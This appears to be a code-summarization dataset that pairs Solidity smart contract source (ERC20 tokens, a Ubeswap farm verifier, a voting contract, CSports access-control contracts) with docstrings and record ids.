balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint256 _addedValue) public returns (bool) { allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint256 _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint256 _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } /** * @title Frozenable Token * @dev Illegal address that can be frozened. */ contract FrozenableToken is Ownable { mapping (address => bool) public frozenAccount; event FrozenFunds(address indexed to, bool frozen); modifier whenNotFrozen(address _who) { require(!frozenAccount[msg.sender] && !frozenAccount[_who]); _; } function freezeAccount(address _to, bool _freeze) public onlyOwner { require(_to != address(0)); frozenAccount[_to] = _freeze; emit FrozenFunds(_to, _freeze); } } /** * @title Colorbay Token * @dev Global digital painting asset platform token. * @author colorbay.org */ contract Colorbay is PausableToken, FrozenableToken { string public name = "Colorbay Token"; string public symbol = "CLOB"; uint256 public decimals = 18; uint256 INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals)); /** * @dev Initializes the total release */ constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = totalSupply_; emit Transfer(address(0), msg.sender, totalSupply_); } /** * if ether is sent to this address, send it back. */ function() public payable { revert(); } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public whenNotFrozen(_to) returns (bool) { return super.transfer(_to, _value); } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public whenNotFrozen(_from) returns (bool) { return super.transferFrom(_from, _to, _value); } }
transfer token for a specified address _to The address to transfer to. _value The amount to be transferred./
function transfer(address _to, uint256 _value) public whenNotFrozen(_to) returns (bool) { return super.transfer(_to, _value); }
2,082,401
./partial_match/1/0x3A60F610268eAACb5572ADe1622A2197795dFF3C/sources/MultiPot.sol
state transition method/
function transitionTo(State newState) internal { emit StateChanged(current_state, newState); current_state = newState; }
4,241,921
/** *Submitted for verification at Etherscan.io on 2021-03-15 */ //SPDX-License-Identifier: SimPL-2.0 pragma solidity ^0.6.0; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == msg.sender, "YouSwap: CALLER_IS_NOT_THE_OWNER"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "YouSwap: NEW_OWNER_IS_THE_ZERO_ADDRESS"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface ITokenYou { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); event MaxSupplyChanged(uint256 oldValue, uint256 newValue); function resetMaxSupply(uint256 newValue) external; function mint(address recipient, uint256 amount) external; function burn(uint256 amount) external; function burnFrom(address account, uint256 amount) external; } contract TokenYou is Ownable, ITokenYou { using SafeMath for uint256; string private constant _name = 'YouSwap'; string private constant _symbol = 'YOU'; uint8 private constant _decimals = 6; uint256 private _totalSupply; uint256 private _transfers; uint256 private _holders; uint256 private _maxSupply; mapping(address => uint256) private _balanceOf; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => uint8) private _minters; constructor() public { _totalSupply = 0; _transfers = 0; _holders = 0; _maxSupply = 2 * 10 ** 14; } /** * @dev Returns the name of the token. */ function name() public pure returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public pure returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {ITokenYou-balanceOf} and {ITokenYou-transfer}. */ function decimals() public pure returns (uint8) { return _decimals; } /** * @dev See {ITokenYou-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {ITokenYou-maxSupply}. */ function maxSupply() public view returns (uint256) { return _maxSupply; } function transfers() public view returns (uint256) { return _transfers; } function holders() public view returns (uint256) { return _holders; } /** * @dev See {ITokenYou-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balanceOf[account]; } /** * @dev See {ITokenYou-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {ITokenYou-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {ITokenYou-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {ITokenYou-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "YouSwap: TRANSFER_AMOUNT_EXCEEDS_ALLOWANCE")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ITokenYou-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ITokenYou-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "YouSwap: DECREASED_ALLOWANCE_BELOW_ZERO")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "YouSwap: TRANSFER_FROM_THE_ZERO_ADDRESS"); require(recipient != address(0), "YouSwap: TRANSFER_TO_THE_ZERO_ADDRESS"); require(amount > 0, "YouSwap: TRANSFER_ZERO_AMOUNT"); if (_balanceOf[recipient] == 0) _holders++; _balanceOf[sender] = _balanceOf[sender].sub(amount, "YouSwap: TRANSFER_AMOUNT_EXCEEDS_BALANCE"); _balanceOf[recipient] = _balanceOf[recipient].add(amount); _transfers ++; if (_balanceOf[sender] == 0) _holders--; emit Transfer(sender, recipient, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "YouSwap: BURN_FROM_THE_ZERO_ADDRESS"); require(_balanceOf[account] > 0, "YouSwap: INSUFFICIENT_FUNDS"); _balanceOf[account] = _balanceOf[account].sub(amount, "YouSwap: BURN_AMOUNT_EXCEEDS_BALANCE"); if (_balanceOf[account] == 0) _holders --; _totalSupply = _totalSupply.sub(amount); _transfers++; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "YouSwap: APPROVE_FROM_THE_ZERO_ADDRESS"); require(spender != address(0), "YouSwap: APPROVE_TO_THE_ZERO_ADDRESS"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from the caller. * * See {TokenYou-_burn}. */ function burn(uint256 amount) external override { _burn(msg.sender, amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {TokenYou-_burn} and {TokenYou-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) external override { uint256 decreasedAllowance = allowance(account, msg.sender).sub(amount, "YouSwap: BURN_AMOUNT_EXCEEDS_ALLOWANCE"); _approve(account, msg.sender, decreasedAllowance); _burn(account, amount); } modifier isMinter() { require(_minters[msg.sender] == 1, "YouSwap: IS_NOT_A_MINTER"); _; } function isContract(address account) internal view returns (bool) { uint256 size; assembly {size := extcodesize(account)} return size > 0; } function mint(address recipient, uint256 amount) external override isMinter { require(_totalSupply.add(amount) <= _maxSupply, 'YouSwap: EXCEEDS_MAX_SUPPLY'); _totalSupply = _totalSupply.add(amount); if (_balanceOf[recipient] == 0) _holders++; _balanceOf[recipient] = _balanceOf[recipient].add(amount); _transfers++; emit Transfer(address(0), recipient, amount); } function addMinter(address account) external onlyOwner { require(isContract(account), "YouSwap: MUST_BE_A_CONTRACT_ADDRESS"); _minters[account] = 1; } function removeMinter(address account) external onlyOwner { _minters[account] = 0; } function resetMaxSupply(uint256 newValue) external override onlyOwner { require(newValue > _totalSupply && newValue < _maxSupply, 'YouSwap: NOT_ALLOWED'); emit MaxSupplyChanged(_maxSupply, newValue); _maxSupply = newValue; } }
Destroys `amount` tokens from `account`, reducing the total supply. Emits a {Transfer} event with `to` set to the zero address. Requirements: - `account` cannot be the zero address. - `account` must have at least `amount` tokens./
function _burn(address account, uint256 amount) internal { require(account != address(0), "YouSwap: BURN_FROM_THE_ZERO_ADDRESS"); require(_balanceOf[account] > 0, "YouSwap: INSUFFICIENT_FUNDS"); _balanceOf[account] = _balanceOf[account].sub(amount, "YouSwap: BURN_AMOUNT_EXCEEDS_BALANCE"); if (_balanceOf[account] == 0) _holders --; _totalSupply = _totalSupply.sub(amount); _transfers++; emit Transfer(account, address(0), amount); }
15,017,860
./full_match/1/0xd43B556d0307826f595a8986E65667abE882a5A6/sources/safeROXY1.sol
Returns the bep token owner./
function getOwner() override external view returns (address) { return _owner; }
3,015,354
// SPDX-License-Identifier: MIT pragma solidity ^0.8.3; //Libraries import "../libraries/TxDataUtils.sol"; import "../openzeppelin-solidity/contracts/SafeMath.sol"; //Inheritance import "../interfaces/IVerifier.sol"; //Interfaces import "../interfaces/IAddressResolver.sol"; import "../interfaces/IAssetHandler.sol"; import "../interfaces/IUbeswapLPVerifier.sol"; import "../interfaces/Ubeswap/IStakingRewards.sol"; contract UbeswapFarmVerifier is TxDataUtils, IVerifier { using SafeMath for uint; IAddressResolver public immutable ADDRESS_RESOLVER; constructor(address _addressResolver) { ADDRESS_RESOLVER = IAddressResolver(_addressResolver); } /** * @dev Parses the transaction data to make sure the transaction is valid * @param pool Address of the pool * @param to External contract address * @param data Transaction call data * @return (bool, address, uint) Whether the transaction is valid, the received asset, and the transaction type. */ function verify(address pool, address to, bytes calldata data) external override returns (bool, address, uint) { bytes4 method = getMethod(data); address assetHandlerAddress = ADDRESS_RESOLVER.getContractAddress("AssetHandler"); address ubeswapLPVerifierAddress = ADDRESS_RESOLVER.assetVerifiers(2); //Get assets (address pair, address rewardToken) = IUbeswapLPVerifier(ubeswapLPVerifierAddress).getFarmTokens(to); if (method == bytes4(keccak256("stake(uint256)"))) { //Parse transaction data uint numberOfLPTokens = uint(getInput(data, 0)); //Check if assets are supported require(IAssetHandler(assetHandlerAddress).isValidAsset(rewardToken), "UbeswapFarmVerifier: unsupported reward token"); require(IAssetHandler(assetHandlerAddress).isValidAsset(pair), "UbeswapFarmVerifier: unsupported liquidity pair"); emit Staked(pool, to, numberOfLPTokens); return (true, rewardToken, 8); } else if (method == bytes4(keccak256("withdraw(uint256)"))) { //Parse transaction data uint numberOfLPTokens = uint(getInput(data, 0)); //Check if assets are supported require(IAssetHandler(assetHandlerAddress).isValidAsset(pair), "UbeswapFarmVerifier: unsupported liquidity pair"); emit Unstaked(pool, to, numberOfLPTokens); return (true, pair, 9); } else if (method == bytes4(keccak256("getReward()"))) { //Check if assets are supported require(IAssetHandler(assetHandlerAddress).isValidAsset(rewardToken), "UbeswapFarmVerifier: unsupported reward token"); emit ClaimedReward(pool, to); return (true, rewardToken, 10); } else if (method == bytes4(keccak256("exit()"))) { uint numberOfLPTokens = IStakingRewards(to).balanceOf(pool); //Check if assets are supported require(IAssetHandler(assetHandlerAddress).isValidAsset(rewardToken), "UbeswapFarmVerifier: unsupported reward token"); require(IAssetHandler(assetHandlerAddress).isValidAsset(pair), "UbeswapFarmVerifier: unsupported liquidity pair"); emit Unstaked(pool, to, numberOfLPTokens); emit ClaimedReward(pool, to); return (true, rewardToken, 11); } return (false, address(0), 0); } /* ========== EVENTS ========== */ event Staked(address indexed pool, address indexed farm, uint numberOfLPTokens); event Unstaked(address indexed pool, address indexed farm, uint numberOfLPTokens); event ClaimedReward(address indexed pool, address indexed farm); }
Parses the transaction data to make sure the transaction is valid pool Address of the pool to External contract address data Transaction call data return (bool, address, uint) Whether the transaction is valid, the received asset, and the transaction type./Get assetsParse transaction dataCheck if assets are supportedParse transaction dataCheck if assets are supportedCheck if assets are supportedCheck if assets are supported
function verify(address pool, address to, bytes calldata data) external override returns (bool, address, uint) { bytes4 method = getMethod(data); address assetHandlerAddress = ADDRESS_RESOLVER.getContractAddress("AssetHandler"); address ubeswapLPVerifierAddress = ADDRESS_RESOLVER.assetVerifiers(2); (address pair, address rewardToken) = IUbeswapLPVerifier(ubeswapLPVerifierAddress).getFarmTokens(to); if (method == bytes4(keccak256("stake(uint256)"))) { uint numberOfLPTokens = uint(getInput(data, 0)); require(IAssetHandler(assetHandlerAddress).isValidAsset(rewardToken), "UbeswapFarmVerifier: unsupported reward token"); require(IAssetHandler(assetHandlerAddress).isValidAsset(pair), "UbeswapFarmVerifier: unsupported liquidity pair"); emit Staked(pool, to, numberOfLPTokens); return (true, rewardToken, 8); } else if (method == bytes4(keccak256("withdraw(uint256)"))) { uint numberOfLPTokens = uint(getInput(data, 0)); require(IAssetHandler(assetHandlerAddress).isValidAsset(pair), "UbeswapFarmVerifier: unsupported liquidity pair"); emit Unstaked(pool, to, numberOfLPTokens); return (true, pair, 9); } else if (method == bytes4(keccak256("getReward()"))) { require(IAssetHandler(assetHandlerAddress).isValidAsset(rewardToken), "UbeswapFarmVerifier: unsupported reward token"); emit ClaimedReward(pool, to); return (true, rewardToken, 10); } else if (method == bytes4(keccak256("exit()"))) { uint numberOfLPTokens = IStakingRewards(to).balanceOf(pool); require(IAssetHandler(assetHandlerAddress).isValidAsset(rewardToken), "UbeswapFarmVerifier: unsupported reward token"); require(IAssetHandler(assetHandlerAddress).isValidAsset(pair), "UbeswapFarmVerifier: unsupported liquidity pair"); emit Unstaked(pool, to, numberOfLPTokens); emit ClaimedReward(pool, to); return (true, rewardToken, 11); } return (false, address(0), 0); } event Staked(address indexed pool, address indexed farm, uint numberOfLPTokens); event Unstaked(address indexed pool, address indexed farm, uint numberOfLPTokens); event ClaimedReward(address indexed pool, address indexed farm);
12,590,284
./full_match/5/0x8774BE2b59b7A848e39FE94a56d2eC4C159856cD/sources/contracts/Voting.sol
Define the vote function Check if the voter has already voted Check if the candidate is valid Record the vote Mark the voter as voted Emit the Vote event
function vote(uint256 candidateId) public { require(!voters[msg.sender], "You have already voted"); require(candidateId < candidates.length, "Invalid candidate"); votes[candidateId]++; totalVotes++; voters[msg.sender] = true; emit Vote(candidateId); }
11,632,521
pragma solidity ^0.4.25; /// @title A facet of CSportsCore that holds all important constants and modifiers /// @author CryptoSports, Inc. (https://cryptosports.team)) /// @dev See the CSportsCore contract documentation to understand how the various CSports contract facets are arranged. contract CSportsConstants { /// @dev The maximum # of marketing tokens that can ever be created /// by the commissioner. uint16 public MAX_MARKETING_TOKENS = 2500; /// @dev The starting price for commissioner auctions (if the average /// of the last 2 is less than this, we will use this value) /// A finney is 1/1000 of an ether. uint256 public COMMISSIONER_AUCTION_FLOOR_PRICE = 5 finney; // 5 finney for production, 15 for script testing and 1 finney for Rinkeby /// @dev The duration of commissioner auctions uint256 public COMMISSIONER_AUCTION_DURATION = 14 days; // 30 days for testing; /// @dev Number of seconds in a week uint32 constant WEEK_SECS = 1 weeks; } /// @title A facet of CSportsCore that manages an individual's authorized role against access privileges. /// @author CryptoSports, Inc. (https://cryptosports.team)) /// @dev See the CSportsCore contract documentation to understand how the various CSports contract facets are arranged. contract CSportsAuth is CSportsConstants { // This facet controls access control for CryptoSports. There are four roles managed here: // // - The CEO: The CEO can reassign other roles and change the addresses of our dependent smart // contracts. It is also the only role that can unpause the smart contract. It is initially // set to the address that created the smart contract in the CSportsCore constructor. // // - The CFO: The CFO can withdraw funds from CSportsCore and its auction contracts. // // - The COO: The COO can perform administrative functions. // // - The Commisioner can perform "oracle" functions like adding new real world players, // setting players active/inactive, and scoring contests. // /// @dev Emited when contract is upgraded - See README.md for updgrade plan event ContractUpgrade(address newContract); /// The addresses of the accounts (or contracts) that can execute actions within each roles. address public ceoAddress; address public cfoAddress; address public cooAddress; address public commissionerAddress; /// @dev Keeps track whether the contract is paused. When that is true, most actions are blocked bool public paused = false; /// @dev Flag that identifies whether or not we are in development and should allow development /// only functions to be called. bool public isDevelopment = true; /// @dev Access modifier to allow access to development mode functions modifier onlyUnderDevelopment() { require(isDevelopment == true); _; } /// @dev Access modifier for CEO-only functionality modifier onlyCEO() { require(msg.sender == ceoAddress); _; } /// @dev Access modifier for CFO-only functionality modifier onlyCFO() { require(msg.sender == cfoAddress); _; } /// @dev Access modifier for COO-only functionality modifier onlyCOO() { require(msg.sender == cooAddress); _; } /// @dev Access modifier for Commissioner-only functionality modifier onlyCommissioner() { require(msg.sender == commissionerAddress); _; } /// @dev Requires any one of the C level addresses modifier onlyCLevel() { require( msg.sender == cooAddress || msg.sender == ceoAddress || msg.sender == cfoAddress || msg.sender == commissionerAddress ); _; } /// @dev prevents contracts from hitting the method modifier notContract() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0); _; } /// @dev One way switch to set the contract into prodution mode. This is one /// way in that the contract can never be set back into development mode. Calling /// this function will block all future calls to functions that are meant for /// access only while we are under development. It will also enable more strict /// additional checking on various parameters and settings. function setProduction() public onlyCEO onlyUnderDevelopment { isDevelopment = false; } /// @dev Assigns a new address to act as the CEO. Only available to the current CEO. /// @param _newCEO The address of the new CEO function setCEO(address _newCEO) public onlyCEO { require(_newCEO != address(0)); ceoAddress = _newCEO; } /// @dev Assigns a new address to act as the CFO. Only available to the current CEO. /// @param _newCFO The address of the new CFO function setCFO(address _newCFO) public onlyCEO { require(_newCFO != address(0)); cfoAddress = _newCFO; } /// @dev Assigns a new address to act as the COO. Only available to the current CEO. /// @param _newCOO The address of the new COO function setCOO(address _newCOO) public onlyCEO { require(_newCOO != address(0)); cooAddress = _newCOO; } /// @dev Assigns a new address to act as the Commissioner. Only available to the current CEO. /// @param _newCommissioner The address of the new COO function setCommissioner(address _newCommissioner) public onlyCEO { require(_newCommissioner != address(0)); commissionerAddress = _newCommissioner; } /// @dev Assigns all C-Level addresses /// @param _ceo CEO address /// @param _cfo CFO address /// @param _coo COO address /// @param _commish Commissioner address function setCLevelAddresses(address _ceo, address _cfo, address _coo, address _commish) public onlyCEO { require(_ceo != address(0)); require(_cfo != address(0)); require(_coo != address(0)); require(_commish != address(0)); ceoAddress = _ceo; cfoAddress = _cfo; cooAddress = _coo; commissionerAddress = _commish; } /// @dev Transfers the balance of this contract to the CFO function withdrawBalance() external onlyCFO { cfoAddress.transfer(address(this).balance); } /*** Pausable functionality adapted from OpenZeppelin ***/ /// @dev Modifier to allow actions only when the contract IS NOT paused modifier whenNotPaused() { require(!paused); _; } /// @dev Modifier to allow actions only when the contract IS paused modifier whenPaused { require(paused); _; } /// @dev Called by any "C-level" role to pause the contract. Used only when /// a bug or exploit is detected and we need to limit damage. function pause() public onlyCLevel whenNotPaused { paused = true; } /// @dev Unpauses the smart contract. Can only be called by the CEO, since /// one reason we may pause the contract is when CFO or COO accounts are /// compromised. function unpause() public onlyCEO whenPaused { paused = false; } } /// @dev Interface required by league roster contract to access /// the mintPlayers(...) function interface CSportsRosterInterface { /// @dev Called by core contract as a sanity check function isLeagueRosterContract() external pure returns (bool); /// @dev Called to indicate that a commissioner auction has completed function commissionerAuctionComplete(uint32 _rosterIndex, uint128 _price) external; /// @dev Called to indicate that a commissioner auction was canceled function commissionerAuctionCancelled(uint32 _rosterIndex) external view; /// @dev Returns the metadata for a specific real world player token function getMetadata(uint128 _md5Token) external view returns (string); /// @dev Called to return a roster index given the MD5 function getRealWorldPlayerRosterIndex(uint128 _md5Token) external view returns (uint128); /// @dev Returns a player structure given its index function realWorldPlayerFromIndex(uint128 idx) external view returns (uint128 md5Token, uint128 prevCommissionerSalePrice, uint64 lastMintedTime, uint32 mintedCount, bool hasActiveCommissionerAuction, bool mintingEnabled); /// @dev Called to update a real world player entry - only used dureing development function updateRealWorldPlayer(uint32 _rosterIndex, uint128 